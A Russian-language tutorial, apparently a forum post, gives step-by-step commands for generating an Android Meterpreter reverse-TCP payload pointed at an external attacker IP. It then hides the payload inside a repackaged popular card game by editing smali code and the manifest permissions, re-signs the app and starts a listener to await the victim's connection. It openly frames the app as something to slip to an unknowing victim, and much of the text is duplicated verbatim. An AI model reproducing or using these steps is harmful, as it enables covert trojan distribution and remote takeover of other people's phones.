Перед атакой вам необходимо настроить проброс портов на своем маршрутизаторе, чтобы полезная нагрузка могла подключиться к машине с Metasploit Лучшим вариантом было подключиться к Интернету напрямую с белым IP адресом, но это слишком затратно. Настройка переадресации портов не так уж и сложна, но проверить её работоспособность может быть немного сложнее. Жалко только что данный подход нельзя использовать при работе через 3G модем, потому как ему изначально присваивается серый IP адрес и конечно же доступа к маршрутизатору провайдера для настройки проброса портов у вас нет.
В нашем случае ноутбук с установленным Metasploit-Framework имеет IP-адрес 192.168.1.102. Выберем порт 4444 в качестве рабочего порта для нашей полезной нагрузки, чтобы избежать путаницы. Я буду показывать пример на модеме TP-LINK, ваш маршрутизатор или модем конечно же может иметь другую Web-морду.
Теперь осталось создать троян:
#msfvenom -p android/meterpreter/reverse_tcp lhost=2.135.19.194 lport=4444 -o /root/gamestest.apk
команда проста : -p это payload в нашем случае реверсный meterpreter,
lhost внешний ip нашей атакующей машины, lport наш открытый порт
Но скорее всего не кто такое приложение не запустит так в наше время тяжело будет убедить человека что это реальная программа.Одно из решений мы можем встроить полезную нагрузку в другое более актуальное приложения.Приложение будет работать и выполнять зловред перед запуском , таким образом, жертва не будет даже знать, что его система под угрозой.
Также будут нужны некоторые библиотеки и инструменты
Чтобы установить требуемые библиотеки, введите эту команду в консоли: apt-get install lib32stdc++6 lib32ncurses5 lib32z1
И получить последнюю версию ApkTool:
C установкой проблем возникнуть не должно скачиваете два файла wrapper script и apktool
установка окончена:
Далее краткий обзор того, что мы собираемся сделать.
1.Декомпилировать полезную нагрузку и первоначальный apk
2. Скопировать файлы полезной нагрузки в первоначальный apk
3. Ввести полномочия в файле AndroidManifest.xml
4. Перекомпилировать первоначальный apk
5. Подписать apk приложением Jarsigner
В качестве приложения для хранения и скрытой пересадки троянчика я буду использовать
популярную онлайн игрушку скачанную на трешбоксе Дурак online
ДЕКОМПИЛИРУЕМ APK
#apktool d -f -o payload /root/gamestest.apk -данная команда декомпилирует наш созданный meterpreter.apk в папку payload папка создаться автоматически
#apktool d -f -o original /root/durak_online_v1.6.1.apk -команда сделает тоже самое но в качестве оригинального apk у меня карточная игра декомпилируем в папку original
Неплохо теперь мы должны скопировать файлы полезной нагрузки в папку исходного приложения. Просто перейти в /root/payload/smali/com/metasploit/stage и скопируйте все файлы
Теперь вставить их в /root/original/smali/com/metasploit/stage Обратите внимание на то, что metsploit и stage нужно будет создать по умолчанию эти папки не существуют, таким образом, Вы должны создать их.
Далее мы должны не много отредактировать smali код
На предыдущем шаге мы просто скопировали код полезной нагрузки в apk файл. Но это не означает, что полезная нагрузка будет работать. Чтобы гарантировать, что полезная нагрузка cработает, мы должны отредактировать .smali apk файла .
Для этого открываем файл AndroidManifest.xml, расположенный в /root/original папка с помощью любого текстового редактора
Так или иначе ищите <activity> ярлык, который содержит обе строки
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
В моем случае, как Вы видите от скрина экрана ниже, это "com.rstgames.durak.StartActivity".
Те две строки, которые мы искали, показывают, деятельность, которая будет запускаться , когда мы стартуем уже установленное приложение средствами запуска
Теперь, когда у нас есть названия функции, в которую мы хотим ввести ключ, давайте давайте найдем ее откройте .smali код той функции с помощью leafpad нужно заменить Activity_Путь "android:name” но вместо точек, введите наклонную черту наш путь com.rstgames.durak.StartActiviti
#leafpad /root/original/smali/com/rstgames/durak/StartActivity.smali не забываем дописать в конце .smali
Теперь ищем следующую строку в коде smali с помощью поиск
;->onCreate(Landroid/os/BundleV
вставляете следующий код в строке рядом с ним
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/ContextV
который запускает полезную нагрузку рядом с существующим кодом, когда запускается приложение. Теперь, сохраните отредактированный smali файл.
"механизм"«разрешения» который приводит в исполнение ограничения на определенные операции, которые может выполнить определенный процесс.
Если мы не укажем все дополнительные полномочия, в которых наша полезная нагрузка будет нуждаться, она не может функционировать должным образом.
давайте откроем AndroidManifest.xml исходного приложения original и полезной нагрузки payload. Полномочия упоминаются внутри <uses-permission> Скопировать дополнительные строки разрешения от AndroidManifest Полезной нагрузки, до одного исходного приложения. Но будьте осторожны, разрешения полномочий не должны повторятся.
После добавления полномочий от AndroidManifest
ПЕРЕКОМПИЛИРУЕМ ORIGINAL APK
#apktool b /root/original
У Вас теперь будет скомпилированный apk в деректории "/root/original/dist" каталог.
отлично но отстается только подписать apk без подписи приложения работать не будет
ПОДПИСАТЬ APK
Вам не нужен Studio Android, чтобы подписать Ваше приложение. Вы можете подписать свое приложение из командной строки, используя apksigner инструмент или сконфигурировать Gradle, Так или иначе Вы должны сначала генерировать закрытый ключ, используя keytool Например:
#keytool –genkey –v –keystore my-release-key.jks –keyalg RSA –keysize 2048 –validity 10000 –alias my-alias создать ключ
#jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore my-release-key.jks /usr/local/bin/sign_durak_online_v1.6.1.apk my-alias подписать
Отлично осталось только подсунуть кому нибудь наш apk
После того как отправили троян заходим msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit
и ждем отстука как жертва запустит файл получим meterpreter sessions.
всем спасибо за внимания всем удачного пинтеста
В нашем случае ноутбук с установленным Metasploit-Framework имеет IP-адрес 192.168.1.102. Выберем порт 4444 в качестве рабочего порта для нашей полезной нагрузки, чтобы избежать путаницы. Я буду показывать пример на модеме TP-LINK, ваш маршрутизатор или модем конечно же может иметь другую Web-морду.
Теперь осталось создать троян:
#msfvenom -p android/meterpreter/reverse_tcp lhost=2.135.19.194 lport=4444 -o /root/gamestest.apk
команда проста : -p это payload в нашем случае реверсный meterpreter,
lhost внешний ip нашей атакующей машины, lport наш открытый порт
Но скорее всего не кто такое приложение не запустит так в наше время тяжело будет убедить человека что это реальная программа.Одно из решений мы можем встроить полезную нагрузку в другое более актуальное приложения.Приложение будет работать и выполнять зловред перед запуском , таким образом, жертва не будет даже знать, что его система под угрозой.
Также будут нужны некоторые библиотеки и инструменты
Чтобы установить требуемые библиотеки, введите эту команду в консоли: apt-get install lib32stdc++6 lib32ncurses5 lib32z1
И получить последнюю версию ApkTool:
C установкой проблем возникнуть не должно скачиваете два файла wrapper script и apktool
установка окончена:
Далее краткий обзор того, что мы собираемся сделать.
1.Декомпилировать полезную нагрузку и первоначальный apk
2. Скопировать файлы полезной нагрузки в первоначальный apk
3. Ввести полномочия в файле AndroidManifest.xml
4. Перекомпилировать первоначальный apk
5. Подписать apk приложением Jarsigner
В качестве приложения для хранения и скрытой пересадки троянчика я буду использовать
популярную онлайн игрушку скачанную на трешбоксе Дурак online
ДЕКОМПИЛИРУЕМ APK
#apktool d -f -o payload /root/gamestest.apk -данная команда декомпилирует наш созданный meterpreter.apk в папку payload папка создаться автоматически
#apktool d -f -o original /root/durak_online_v1.6.1.apk -команда сделает тоже самое но в качестве оригинального apk у меня карточная игра декомпилируем в папку original
Неплохо теперь мы должны скопировать файлы полезной нагрузки в папку исходного приложения. Просто перейти в /root/payload/smali/com/metasploit/stage и скопируйте все файлы
Теперь вставить их в /root/original/smali/com/metasploit/stage Обратите внимание на то, что metsploit и stage нужно будет создать по умолчанию эти папки не существуют, таким образом, Вы должны создать их.
Далее мы должны не много отредактировать smali код
На предыдущем шаге мы просто скопировали код полезной нагрузки в apk файл. Но это не означает, что полезная нагрузка будет работать. Чтобы гарантировать, что полезная нагрузка cработает, мы должны отредактировать .smali apk файла .
Для этого открываем файл AndroidManifest.xml, расположенный в /root/original папка с помощью любого текстового редактора
Так или иначе ищите <activity> ярлык, который содержит обе строки
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
В моем случае, как Вы видите от скрина экрана ниже, это "com.rstgames.durak.StartActivity".
Те две строки, которые мы искали, показывают, деятельность, которая будет запускаться , когда мы стартуем уже установленное приложение средствами запуска
Теперь, когда у нас есть названия функции, в которую мы хотим ввести ключ, давайте давайте найдем ее откройте .smali код той функции с помощью leafpad нужно заменить Activity_Путь "android:name” но вместо точек, введите наклонную черту наш путь com.rstgames.durak.StartActiviti
#leafpad /root/original/smali/com/rstgames/durak/StartActivity.smali не забываем дописать в конце .smali
;->onCreate(Landroid/os/BundleV
вставляете следующий код в строке рядом с ним
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/ContextV
который запускает полезную нагрузку рядом с существующим кодом, когда запускается приложение. Теперь, сохраните отредактированный smali файл.
"механизм"«разрешения» который приводит в исполнение ограничения на определенные операции, которые может выполнить определенный процесс.
Если мы не укажем все дополнительные полномочия, в которых наша полезная нагрузка будет нуждаться, она не может функционировать должным образом.
давайте откроем AndroidManifest.xml исходного приложения original и полезной нагрузки payload. Полномочия упоминаются внутри <uses-permission> Скопировать дополнительные строки разрешения от AndroidManifest Полезной нагрузки, до одного исходного приложения. Но будьте осторожны, разрешения полномочий не должны повторятся.
После добавления полномочий от AndroidManifest
ПЕРЕКОМПИЛИРУЕМ ORIGINAL APK
#apktool b /root/original
У Вас теперь будет скомпилированный apk в деректории "/root/original/dist" каталог.
отлично но отстается только подписать apk без подписи приложения работать не будет
ПОДПИСАТЬ APK
Вам не нужен Studio Android, чтобы подписать Ваше приложение. Вы можете подписать свое приложение из командной строки, используя apksigner инструмент или сконфигурировать Gradle, Так или иначе Вы должны сначала генерировать закрытый ключ, используя keytool Например:
#keytool –genkey –v –keystore my-release-key.jks –keyalg RSA –keysize 2048 –validity 10000 –alias my-alias создать ключ
#jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore my-release-key.jks /usr/local/bin/sign_durak_online_v1.6.1.apk my-alias подписать
Отлично осталось только подсунуть кому нибудь наш apk
После того как отправили троян заходим msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit
всем спасибо за внимания всем удачного пинтеста